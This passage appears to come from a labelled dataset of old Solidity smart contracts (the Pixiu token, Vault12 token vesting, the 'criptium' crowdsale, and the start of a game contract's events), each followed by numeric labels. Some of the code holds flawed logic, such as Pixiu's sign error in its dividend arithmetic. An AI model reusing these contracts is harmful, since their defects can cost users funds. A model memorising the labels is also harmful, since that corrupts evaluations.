var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
require(!((_value != 0) && (allowed[msg.sender][_spender] != 0)) );
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
contract Pixiu is StandardToken {
uint public decimals = 6;
bool public isPayable = true;
bool public isWithdrawable = true;
bool public isRequireData = false;
struct exchangeRate {
uint time1;
uint time2;
uint value;
}
struct Member {
bool isExists;
bool isDividend;
bool isWithdraw;
uint256 dividend;
uint256 withdraw;
}
exchangeRate[] public exchangeRateArray;
mapping (address => Member) public members;
address[] public adminArray;
address[] public memberArray;
uint256 public tokenExchangeRateInWei = 300*10**6;
mapping (address => uint) public shopStoreId;
mapping (uint => address) public shopStoreAddress;
uint256 public shopStorePrice = 1*10**6;
uint256 public shopStoreNextId = 0;
address public Apply_Store_Id_Fee;
uint256 public total_tokenwei = 0;
uint256 public min_pay_wei = 0;
uint256 public total_devidend = 0;
uint256 public total_withdraw = 0;
uint256 public withdraw_amount = 0;
uint256 public dividend_amount = 0;
event Paydata(address indexed payer, uint256 value, bytes data, uint256 thisTokenWei);
function Pixiu() {
totalSupply = 21000000000000;
adminArray.push(msg.sender);
admin_set_Apply_Store_Id_Fee(msg.sender);
}
function get_orderAddress(address _address,uint _expire_day,uint _userdata,uint _pixiu, uint _wei) constant returns (address){
uint256 storeid = shopStoreId[_address];
uint160 result = uint152(0xffffffff<<120) + uint120((_expire_day * 86400 + now)<<88) + uint88(storeid<<64);
uint _zero = 0;
uint256 _amount2 = _pixiu * 10 ** 6 + _wei;
uint256 _amount = _amount2;
while(_amount2 % 10 == 0){
_amount2 /= 10;
_zero++;
}
_userdata = _userdata<<24;
_userdata += _amount;
result += uint64(_userdata<<8);
result += uint8(0x30+_zero);
uint8 crc = uint8(sha256(uint152(result) ));
return address((result << 8) + crc);
}
function isLeading4FF(address _sender ) private returns(bool){
uint32 ff4= uint32(uint256(_sender) >> 128);
return (ff4 == 0xffffffff);
}
modifier onlyAdmin() {
bool ok = admin_check(msg.sender);
require(ok);
_;
}
modifier adminExists(address admin) {
bool ok = false;
if(admin != msg.sender){
ok = admin_check(admin);
}
require(ok);
_;
}
modifier adminDoesNotExist(address admin) {
bool ok = admin_check(admin);
require(!ok);
_;
}
function admin_check(address admin) private constant returns(bool){
bool ok = false;
for (uint i = 0; i < adminArray.length; i++) {
if (admin == adminArray[i]) {
ok = true;
break;
}
}
return ok;
}
modifier memberExists(address member) {
bool ok = false;
if (members[member].isExists == true) {
ok = true;
}
require(ok);
_;
}
modifier isMember() {
bool ok = false;
if (members[msg.sender].isExists == true) {
ok = true;
}
require(ok);
_;
}
function admin_dividend(int _Eth, int _Wei) onlyAdmin {
int xWei = _Eth * 10 ** 18 + _Wei;
bool is_add = true;
if(xWei > 0){
dividend_amount += uint256(xWei);
}else{
xWei *= -1;
is_add = false;
dividend_amount -= uint256(xWei * -1);
}
uint256 len = memberArray.length;
uint i = 0;
address _member;
uint total_balance_dividened=0;
for( i = 0; i < len; i++){
_member = memberArray[i];
if(members[_member].isDividend){
total_balance_dividened += balances[_member];
}
}
for( i = 0; i < len; i++){
_member = memberArray[i];
if(members[_member].isDividend){
uint256 thisWei = balances[_member] * uint256(xWei) / total_balance_dividened;
if(is_add){
members[_member].dividend += thisWei;
total_devidend += thisWei;
}else{
members[_member].dividend -= thisWei;
total_devidend -= thisWei;
}
}
}
}
function admin_set_exchange_rate(uint[] exchangeRates) onlyAdmin{
uint len = exchangeRates.length;
exchangeRateArray.length = 0;
for(uint i = 0; i < len; i += 3){
uint time1 = exchangeRates[i];
uint time2 = exchangeRates[i + 1];
uint value = exchangeRates[i + 2]*1000;
exchangeRateArray.push(exchangeRate(time1, time2, value));
}
}
function admin_set_Apply_Store_Id_Fee(address _address) onlyAdmin{
Apply_Store_Id_Fee = _address;
}
function admin_set_ExchangeRateInWei(uint256 exchangeRates) onlyAdmin{
tokenExchangeRateInWei = exchangeRates;
}
function get_exchange_wei() constant returns(uint256){
uint len = exchangeRateArray.length;
uint nowTime = block.timestamp;
for(uint i = 0; i < len; i += 3){
exchangeRate memory rate = exchangeRateArray[i];
uint time1 = rate.time1;
uint time2 = rate.time2;
uint value = rate.value;
if (nowTime>= time1 && nowTime<=time2) {
tokenExchangeRateInWei = value;
return value;
}
}
return tokenExchangeRateInWei;
}
function admin_set_min_pay(uint256 _min_pay) onlyAdmin{
require(_min_pay >= 0);
min_pay_wei = _min_pay;
}
function get_admin_list() constant returns(address[] _adminArray){
_adminArray = adminArray;
}
function admin_add(address admin) onlyAdmin adminDoesNotExist(admin){
adminArray.push(admin);
}
function admin_del(address admin) onlyAdmin adminExists(admin){
for (uint i = 0; i < adminArray.length - 1; i++)
if (adminArray[i] == admin) {
adminArray[i] = adminArray[adminArray.length - 1];
break;
}
adminArray.length -= 1;
}
function admin_set_shopStorePrice(uint256 _shopStorePrice) onlyAdmin{
shopStorePrice = _shopStorePrice;
}
function admin_set_isRequireData(bool _requireData) onlyAdmin{
isRequireData = _requireData;
}
function admin_set_payable(bool _payable) onlyAdmin{
isPayable = _payable;
}
function admin_set_withdrawable(bool _withdrawable) onlyAdmin{
isWithdrawable = _withdrawable;
}
function admin_set_dividend(address _member, bool _dividend) onlyAdmin memberExists(_member){
members[_member].isDividend = _dividend;
}
function admin_set_withdraw(address _member, bool _withdraw) onlyAdmin memberExists(_member){
members[_member].isWithdraw = _withdraw;
}
function get_total_info() constant returns(uint256 _total_devidend, uint256 _total_remain, uint256 _total_withdraw){
_total_remain = total_devidend - total_withdraw;
_total_devidend = total_devidend;
_total_withdraw = total_withdraw;
}
function get_info(address _member) constant returns (uint256 _balance, uint256 _devidend, uint256 _remain, uint256 _withdraw){
_devidend = members[_member].dividend;
_withdraw = members[_member].withdraw;
_remain = _devidend - _withdraw;
_balance = balances[_member];
}
function withdraw() isMember {
uint256 _remain = members[msg.sender].dividend - members[msg.sender].withdraw;
require(_remain > 0);
require(isWithdrawable);
require(members[msg.sender].isWithdraw);
msg.sender.transfer(_remain);
members[msg.sender].withdraw += _remain;
total_withdraw += _remain;
}
function admin_withdraw(uint xWei){
uint256 _withdraw = xWei;
require( msg.sender == Apply_Store_Id_Fee );
require(this.balance > _withdraw);
msg.sender.transfer(_withdraw);
withdraw_amount += _withdraw;
}
function admin_withdraw_all(address _ApplyStoreIdFee) onlyAdmin {
require( _ApplyStoreIdFee == Apply_Store_Id_Fee );
_ApplyStoreIdFee.transfer(this.balance);
total_devidend = 0;
total_withdraw = 0;
withdraw_amount = 0;
dividend_amount = 0;
}
function admin_transfer(address _to, uint256 _value) onlyAdmin onlyPayloadSize(2 * 32) {
require(_to != Apply_Store_Id_Fee);
require(total_tokenwei <= totalSupply - _value);
balances[_to] = balances[_to].add(_value);
total_tokenwei += _value;
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) {
require(_to != msg.sender);
require(isPayable);
balances[msg.sender] = balances[msg.sender].sub(_value);
if(_to == Apply_Store_Id_Fee){
require(_value == shopStorePrice);
shopStoreNextId++;
shopStoreId[msg.sender] = shopStoreNextId;
shopStoreAddress[shopStoreNextId] = msg.sender;
} else {
if(isLeading4FF(_to)){
uint256 to256 = uint256(_to);
uint32 expire = uint32(to256>>96);
uint32 storeid = uint24(to256>>72);
uint8 byte19_1 = uint8(uint8(to256>>8)>>4);
uint8 byte19_2 = uint8(uint8(to256>>8)<<4);
byte19_2 = byte19_2>>4;
uint24 byte1618 = uint24(to256>>16);
require(uint32(now)<expire || expire==0);
require(uint8(sha256(uint152(to256>>8)))==uint8(to256));
_to = shopStoreAddress[uint(storeid)];
require(uint(_to)>0);
if(byte19_1 == 3){
for(int i = 0; i < byte19_2; i++){
byte1618 *= 10;
}
require(byte1618 == _value);
}
}
balances[_to] = balances[_to].add(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
}
Transfer(msg.sender, _to, _value);
}
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
require(_to != Apply_Store_Id_Fee);
require(_from != Apply_Store_Id_Fee);
require(isPayable);
var _allowance = allowed[_from][msg.sender];
require(_allowance >= _value);
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
if (members[_to].isExists != true) {
members[_to].isExists = true;
members[_to].isDividend = true;
members[_to].isWithdraw = true;
memberArray.push(_to);
}
Transfer(_from, _to, _value);
}
function () payable {
pay();
}
function pay() public payable returns (bool) {
require(!isLeading4FF(msg.sender));
require(msg.value > min_pay_wei);
require(isPayable);
if(msg.sender == Apply_Store_Id_Fee){
}else{
if(isRequireData){
require(uint32(msg.data[0]) == uint32(0xFFFFFFFF));
}
uint256 exchangeWei = get_exchange_wei();
uint256 thisTokenWei = exchangeWei * msg.value / 10**18 ;
require(total_tokenwei <= totalSupply - thisTokenWei);
if (members[msg.sender].isExists != true) {
members[msg.sender].isExists = true;
members[msg.sender].isDividend = true;
members[msg.sender].isWithdraw = true;
memberArray.push(msg.sender);
}
balances[msg.sender] += thisTokenWei;
total_tokenwei += thisTokenWei;
Paydata(msg.sender, msg.value, msg.data, thisTokenWei);
Transfer(this, msg.sender, thisTokenWei);
}
return true;
}
function get_this_balance() constant returns(uint256){
return this.balance;
}
} | 0 | 692 |
pragma solidity 0.4.24;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address _who) public view returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
if (_a == 0) {
return 0;
}
c = _a * _b;
assert(c / _a == _b);
return c;
}
function div(uint256 _a, uint256 _b) internal pure returns (uint256) {
return _a / _b;
}
function sub(uint256 _a, uint256 _b) internal pure returns (uint256) {
assert(_b <= _a);
return _a - _b;
}
function add(uint256 _a, uint256 _b) internal pure returns (uint256 c) {
c = _a + _b;
assert(c >= _a);
return c;
}
}
contract Vault12LockedTokens {
using SafeMath for uint256;
uint256 constant internal SECONDS_PER_YEAR = 31561600;
modifier onlyV12MultiSig {
require(msg.sender == v12MultiSig, "not owner");
_;
}
modifier onlyValidAddress(address _recipient) {
require(_recipient != address(0) && _recipient != address(this) && _recipient != address(token), "not valid _recipient");
_;
}
struct Grant {
uint256 startTime;
uint256 amount;
uint256 vestingDuration;
uint256 yearsClaimed;
uint256 totalClaimed;
}
event GrantAdded(address recipient, uint256 amount);
event GrantTokensClaimed(address recipient, uint256 amountClaimed);
event ChangedMultisig(address multisig);
ERC20 public token;
mapping (address => Grant) public tokenGrants;
address public v12MultiSig;
constructor(ERC20 _token) public {
require(address(_token) != address(0));
v12MultiSig = msg.sender;
token = _token;
}
function addTokenGrant(
address _recipient,
uint256 _startTime,
uint256 _amount,
uint256 _vestingDurationInYears
)
onlyV12MultiSig
onlyValidAddress(_recipient)
external
{
require(!grantExist(_recipient), "grant already exist");
require(_vestingDurationInYears <= 25, "more than 25 years");
uint256 amountVestedPerYear = _amount.div(_vestingDurationInYears);
require(amountVestedPerYear > 0, "amountVestedPerYear > 0");
require(token.transferFrom(msg.sender, address(this), _amount), "transfer failed");
Grant memory grant = Grant({
startTime: _startTime == 0 ? currentTime() : _startTime,
amount: _amount,
vestingDuration: _vestingDurationInYears,
yearsClaimed: 0,
totalClaimed: 0
});
tokenGrants[_recipient] = grant;
emit GrantAdded(_recipient, _amount);
}
function calculateGrantClaim(address _recipient) public view returns (uint256, uint256) {
Grant storage tokenGrant = tokenGrants[_recipient];
if (currentTime() < tokenGrant.startTime) {
return (0, 0);
}
uint256 elapsedTime = currentTime().sub(tokenGrant.startTime);
uint256 elapsedYears = elapsedTime.div(SECONDS_PER_YEAR);
if (elapsedYears >= tokenGrant.vestingDuration) {
uint256 remainingGrant = tokenGrant.amount.sub(tokenGrant.totalClaimed);
uint256 remainingYears = tokenGrant.vestingDuration.sub(tokenGrant.yearsClaimed);
return (remainingYears, remainingGrant);
} else {
uint256 i = 0;
uint256 tokenGrantAmount = tokenGrant.amount;
uint256 totalVested = 0;
for(i; i < elapsedYears; i++){
totalVested = (tokenGrantAmount.mul(10)).div(100).add(totalVested);
tokenGrantAmount = tokenGrant.amount.sub(totalVested);
}
uint256 amountVested = totalVested.sub(tokenGrant.totalClaimed);
return (elapsedYears, amountVested);
}
}
function claimVestedTokens(address _recipient) external {
uint256 yearsVested;
uint256 amountVested;
(yearsVested, amountVested) = calculateGrantClaim(_recipient);
require(amountVested > 0, "amountVested is 0");
Grant storage tokenGrant = tokenGrants[_recipient];
tokenGrant.yearsClaimed = yearsVested;
tokenGrant.totalClaimed = tokenGrant.totalClaimed.add(amountVested);
require(token.transfer(_recipient, amountVested), "no tokens");
emit GrantTokensClaimed(_recipient, amountVested);
}
function currentTime() public view returns(uint256) {
return block.timestamp;
}
function changeMultiSig(address _newMultisig)
external
onlyV12MultiSig
onlyValidAddress(_newMultisig)
{
v12MultiSig = _newMultisig;
emit ChangedMultisig(_newMultisig);
}
function grantExist(address _recipient) public view returns(bool) {
return tokenGrants[_recipient].amount > 0;
}
} | 1 | 2,866 |
pragma solidity ^0.4.23;
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract Crowdsale {
using SafeMath for uint256;
ERC20 public token;
address public wallet;
uint256 public rate;
uint256 public weiRaised;
event TokenPurchase(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
constructor(uint256 _rate, address _wallet, ERC20 _token) public {
require(_rate > 0);
require(_wallet != address(0));
require(_token != address(0));
rate = _rate;
wallet = _wallet;
token = _token;
}
function () external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary) public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
weiRaised = weiRaised.add(weiAmount);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(
msg.sender,
_beneficiary,
weiAmount,
tokens
);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(_beneficiary != address(0));
require(_weiAmount != 0);
}
function _postValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
token.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
_deliverTokens(_beneficiary, _tokenAmount);
}
function _updatePurchasingState(
address _beneficiary,
uint256 _weiAmount
)
internal
{
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate);
}
function _forwardFunds() internal {
wallet.transfer(msg.value);
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public openingTime;
uint256 public closingTime;
modifier onlyWhileOpen {
require(block.timestamp >= openingTime && block.timestamp <= closingTime);
_;
}
constructor(uint256 _openingTime, uint256 _closingTime) public {
require(_openingTime >= block.timestamp);
require(_closingTime >= _openingTime);
openingTime = _openingTime;
closingTime = _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > closingTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
onlyWhileOpen
{
super._preValidatePurchase(_beneficiary, _weiAmount);
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
contract FreezableToken is StandardToken {
mapping (bytes32 => uint64) internal chains;
mapping (bytes32 => uint) internal freezings;
mapping (address => uint) internal freezingBalance;
event Freezed(address indexed to, uint64 release, uint amount);
event Released(address indexed owner, uint amount);
function balanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner) + freezingBalance[_owner];
}
function actualBalanceOf(address _owner) public view returns (uint256 balance) {
return super.balanceOf(_owner);
}
function freezingBalanceOf(address _owner) public view returns (uint256 balance) {
return freezingBalance[_owner];
}
function freezingCount(address _addr) public view returns (uint count) {
uint64 release = chains[toKey(_addr, 0)];
while (release != 0) {
count++;
release = chains[toKey(_addr, release)];
}
}
function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) {
for (uint i = 0; i < _index + 1; i++) {
_release = chains[toKey(_addr, _release)];
if (_release == 0) {
return;
}
}
_balance = freezings[toKey(_addr, _release)];
}
function freezeTo(address _to, uint _amount, uint64 _until) public {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Transfer(msg.sender, _to, _amount);
emit Freezed(_to, _until, _amount);
}
function releaseOnce() public {
bytes32 headKey = toKey(msg.sender, 0);
uint64 head = chains[headKey];
require(head != 0);
require(uint64(block.timestamp) > head);
bytes32 currentKey = toKey(msg.sender, head);
uint64 next = chains[currentKey];
uint amount = freezings[currentKey];
delete freezings[currentKey];
balances[msg.sender] = balances[msg.sender].add(amount);
freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount);
if (next == 0) {
delete chains[headKey];
} else {
chains[headKey] = next;
delete chains[currentKey];
}
emit Released(msg.sender, amount);
}
function releaseAll() public returns (uint tokens) {
uint release;
uint balance;
(release, balance) = getFreezing(msg.sender, 0);
while (release != 0 && block.timestamp > release) {
releaseOnce();
tokens += balance;
(release, balance) = getFreezing(msg.sender, 0);
}
}
function toKey(address _addr, uint _release) internal pure returns (bytes32 result) {
result = 0x5749534800000000000000000000000000000000000000000000000000000000;
assembly {
result := or(result, mul(_addr, 0x10000000000000000))
result := or(result, _release)
}
}
function freeze(address _to, uint64 _until) internal {
require(_until > block.timestamp);
bytes32 key = toKey(_to, _until);
bytes32 parentKey = toKey(_to, uint64(0));
uint64 next = chains[parentKey];
if (next == 0) {
chains[parentKey] = _until;
return;
}
bytes32 nextKey = toKey(_to, next);
uint parent;
while (next != 0 && _until > next) {
parent = next;
parentKey = nextKey;
next = chains[nextKey];
nextKey = toKey(_to, next);
}
if (_until == next) {
return;
}
if (next != 0) {
chains[key] = next;
}
chains[parentKey] = _until;
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract FreezableMintableToken is FreezableToken, MintableToken {
function mintAndFreeze(address _to, uint _amount, uint64 _until) public onlyOwner canMint returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
bytes32 currentKey = toKey(_to, _until);
freezings[currentKey] = freezings[currentKey].add(_amount);
freezingBalance[_to] = freezingBalance[_to].add(_amount);
freeze(_to, _until);
emit Mint(_to, _amount);
emit Freezed(_to, _until, _amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
}
contract Consts {
uint public constant TOKEN_DECIMALS = 2;
uint8 public constant TOKEN_DECIMALS_UINT8 = 2;
uint public constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS;
string public constant TOKEN_NAME = "criptium";
string public constant TOKEN_SYMBOL = "CRIP";
bool public constant PAUSED = false;
address public constant TARGET_USER = 0x26a8cA94E953500e03218A3289a533A6484a77b7;
uint public constant START_TIME = 1538415000;
bool public constant CONTINUE_MINTING = true;
}
contract FinalizableCrowdsale is TimedCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event Finalized();
function finalize() onlyOwner public {
require(!isFinalized);
require(hasClosed());
finalization();
emit Finalized();
isFinalized = true;
}
function finalization() internal {
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 public cap;
constructor(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
function capReached() public view returns (bool) {
return weiRaised >= cap;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
super._preValidatePurchase(_beneficiary, _weiAmount);
require(weiRaised.add(_weiAmount) <= cap);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(
address _beneficiary,
uint256 _tokenAmount
)
internal
{
require(MintableToken(token).mint(_beneficiary, _tokenAmount));
}
}
contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable
{
function name() public pure returns (string _name) {
return TOKEN_NAME;
}
function symbol() public pure returns (string _symbol) {
return TOKEN_SYMBOL;
}
function decimals() public pure returns (uint8 _decimals) {
return TOKEN_DECIMALS_UINT8;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transferFrom(_from, _to, _value);
}
function transfer(address _to, uint256 _value) public returns (bool _success) {
require(!paused);
return super.transfer(_to, _value);
}
}
contract MainCrowdsale is Consts, FinalizableCrowdsale, MintedCrowdsale, CappedCrowdsale {
function hasStarted() public view returns (bool) {
return now >= openingTime;
}
function startTime() public view returns (uint256) {
return openingTime;
}
function endTime() public view returns (uint256) {
return closingTime;
}
function hasClosed() public view returns (bool) {
return super.hasClosed() || capReached();
}
function hasEnded() public view returns (bool) {
return hasClosed();
}
function finalization() internal {
super.finalization();
if (PAUSED) {
MainToken(token).unpause();
}
if (!CONTINUE_MINTING) {
require(MintableToken(token).finishMinting());
}
Ownable(token).transferOwnership(TARGET_USER);
}
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
return _weiAmount.mul(rate).div(1 ether);
}
}
contract BonusableCrowdsale is Consts, Crowdsale {
function _getTokenAmount(uint256 _weiAmount)
internal view returns (uint256)
{
uint256 bonusRate = getBonusRate(_weiAmount);
return _weiAmount.mul(bonusRate).div(1 ether);
}
function getBonusRate(uint256 _weiAmount) internal view returns (uint256) {
uint256 bonusRate = rate;
uint[1] memory weiRaisedStartsBounds = [uint(0)];
uint[1] memory weiRaisedEndsBounds = [uint(500000000000000000000000)];
uint64[1] memory timeStartsBounds = [uint64(1538415000)];
uint64[1] memory timeEndsBounds = [uint64(1541030335)];
uint[1] memory weiRaisedAndTimeRates = [uint(200)];
for (uint i = 0; i < 1; i++) {
bool weiRaisedInBound = (weiRaisedStartsBounds[i] <= weiRaised) && (weiRaised < weiRaisedEndsBounds[i]);
bool timeInBound = (timeStartsBounds[i] <= now) && (now < timeEndsBounds[i]);
if (weiRaisedInBound && timeInBound) {
bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000;
}
}
return bonusRate;
}
}
contract TemplateCrowdsale is Consts, MainCrowdsale
, BonusableCrowdsale
{
event Initialized();
event TimesChanged(uint startTime, uint endTime, uint oldStartTime, uint oldEndTime);
bool public initialized = false;
constructor(MintableToken _token) public
Crowdsale(1000 * TOKEN_DECIMAL_MULTIPLIER, 0x11f539Ec5F1d4822a7066BF7dA74fEa6EF244F04, _token)
TimedCrowdsale(START_TIME > now ? START_TIME : now, 1541030340)
CappedCrowdsale(500000000000000000000000)
{
}
function init() public onlyOwner {
require(!initialized);
initialized = true;
if (PAUSED) {
MainToken(token).pause();
}
transferOwnership(TARGET_USER);
emit Initialized();
}
function hasClosed() public view returns (bool) {
bool remainValue = cap.sub(weiRaised) < 1000000000000000000;
return super.hasClosed() || remainValue;
}
function setEndTime(uint _endTime) public onlyOwner {
require(now < closingTime);
require(now < _endTime);
require(_endTime > openingTime);
emit TimesChanged(openingTime, _endTime, openingTime, closingTime);
closingTime = _endTime;
}
function _preValidatePurchase(
address _beneficiary,
uint256 _weiAmount
)
internal
{
require(msg.value >= 1000000000000000000);
require(msg.value <= 10000000000000000000000);
super._preValidatePurchase(_beneficiary, _weiAmount);
}
} | 0 | 1,386 |
pragma solidity ^0.4.24;
contract RSEvents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 genAmount
);
event onAffiliatePayout
(
